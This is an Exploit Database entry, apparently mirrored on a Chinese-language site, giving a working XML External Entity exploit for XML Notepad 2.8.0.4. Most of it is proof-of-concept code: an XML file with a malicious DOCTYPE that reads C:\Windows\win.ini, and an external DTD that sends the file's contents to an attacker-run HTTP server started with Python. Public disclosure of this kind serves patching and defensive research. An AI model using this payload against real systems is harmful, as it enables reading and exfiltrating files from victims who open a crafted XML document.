XML Notepad 2.8.0.4 – XML External Entity Injection

• Exploit Database
• 9 阅读

• 作者： daejinoh
  日期： 2019-11-11
• 类别：

  • local
  平台：

  • xml
• 来源：https://www.exploit-db.com/exploits/47606/

• # Exploit Title: XML Notepad 2.8.0.4 - XML External Entity Injection
  # Date: 2019-11-11
  # Exploit Author: 8-Team / daejinoh
  # Vendor Homepage:https://www.microsoft.com/
  # Software Link:https://github.com/microsoft/XmlNotepad
  # Version: XML Notepad 2.8.0.4
  # Tested on: Windows 10 Pro
  # CVE : N/A
  
  # Step
  1) File -> Open -> *.xml
  
  # Exploit Code
  
  1) Server(python 3.7) : python -m http.server
  2) Poc.xml : 
  <?xml version="1.0"?>
  <!DOCTYPE test [
  <!ENTITY % file SYSTEM "C:\Windows\win.ini">
  <!ENTITY % dtd SYSTEM "http://127.0.0.1:8000/payload.dtd">
  %dtd;]>
  <pwn>&send;</pwn>
  
  3) payload.dtd
  <?xml version="1.0" encoding="UTF-8"?>
  <!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:8000?%file;'>">
  %all;
  
  --------------------------------------------------------------------------------